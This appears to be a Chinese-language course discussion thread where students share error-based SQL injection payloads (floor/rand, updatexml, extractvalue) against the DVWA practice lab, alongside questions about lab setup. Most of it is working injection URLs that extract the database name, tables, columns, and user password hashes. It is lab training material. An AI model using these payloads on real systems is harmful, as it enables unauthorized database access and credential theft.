floor报错注入 数据库名 http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1'and (select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- &Submit=Submit# 表名 http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1'and (select 1 from(select count(*),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema='dvwa' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- &Submit=Submit# http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1'and (select 1 from(select count(*),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema='dvwa' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- &Submit=Submit# 列名 http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1'and (select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_name='users' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- &Submit=Submit# http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1'and (select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_name='users' limit 4,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- &Submit=Submit# 账号名 http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1'and (select 1 from(select count(*),concat((select (select (select concat(0x7e,user,0x7e))) from dvwa.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- &Submit=Submit# 密码 http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1'and (select 1 from(select count(*),concat((select (select (select concat(0x7e,password,0x7e))) from dvwa.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- &Submit=Submit#

老师，我输入 ‘ 不报错，难道是因为我的靶场版本不一样？

获取不到docker了，请求被拒了不知道是不是老师那边关闭了

Firefox下有一款小工具叫FoxyProxy, 推荐给大家, 可以通过插件栏一键toggle proxy开闭, 比较方便

通过floor报错的一种思路: http://127.0.0.1:81/vulnerabilities/sqli/?id=' union select 1,2 from (select count(*), concat((select table_name from information_schema.tables where table_schema='dvwa' limit 2, 1), floor(rand(0)*2))x from information_schema.tables group by x)a -- &Submit=Submit#

dvwa靶场环境可参考《https://blog.csdn.net/xiaochenXIHUA/article/details/128843792?spm=1001.2014.3001.5501》搭建； 或参考docker官网搭建：https://hub.docker.com/r/vulnerables/web-dvwa 以【updatexml】函数为例： ①获取用户信息：http://192.168.146.138:8091/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select user())),1) -- &Submit=Submit# ②获取用户、数据库信息：http://192.168.146.138:8091/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select user()),0x7e,(select database())),1) -- &Submit=Submit# ③分别获取各个表名称1：http://192.168.146.138:8091/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1) -- &Submit=Submit# ④获取表字段名称2：http://192.168.146.138:8091/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1)),1) -- &Submit=Submit# 获取表字段名称3：http://192.168.146.138:8091/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1)),1) -- &Submit=Submit# ⑤获取对应字段的内容：http://192.168.146.138:8091/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select mid(concat_ws(':',user,password),1,60) from dvwa.users limit 0,1)),1) -- &Submit=Submit# ⑥解决拼接的字符串不完整：http://192.168.146.138:8091/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select mid(concat_ws(':',user,password),1,30) from dvwa.users limit 0,1)),1) -- &Submit=Submit# http://192.168.146.138:8091/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select mid(concat_ws(':',user,password),30,30) from dvwa.users limit 0,1)),1) -- &Submit=Submit#

mid()函数一次性截取完也是可以的？ ?id=' and extractvalue(1, mid(concat(0x7e,(select password from dvwa.users limit 0,1)),1,40)) -- &Submit=Submit# 得到 XPATH syntax error: '~5f4dcc3b5aa765d61d8327deb882cf9'

新容器无法下载，错误如下。 Error response from daemon: pull access denied for registry.cn-shanghai.aliyuncs.com/yhskc/dvwa, repository does not exist or may require 'docker login': denied: requested access to the resource is denied

新的容器，怎么无法下载了呢？

1.使用updatexml进行报错注入 http://192.168.0.108/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 3,1),0x7e),1) --+&Submit=Submit# 2.updatexml同样只能带出31位密码，仍然使用mid()进行截取带出 http://192.168.0.108/dvwa/vulnerabilities/sqli/?id=' and updatexml(1,mid(concat(0x7e,(select password from users limit 0,1),0x7e),1,29),1) --+&Submit=Submit#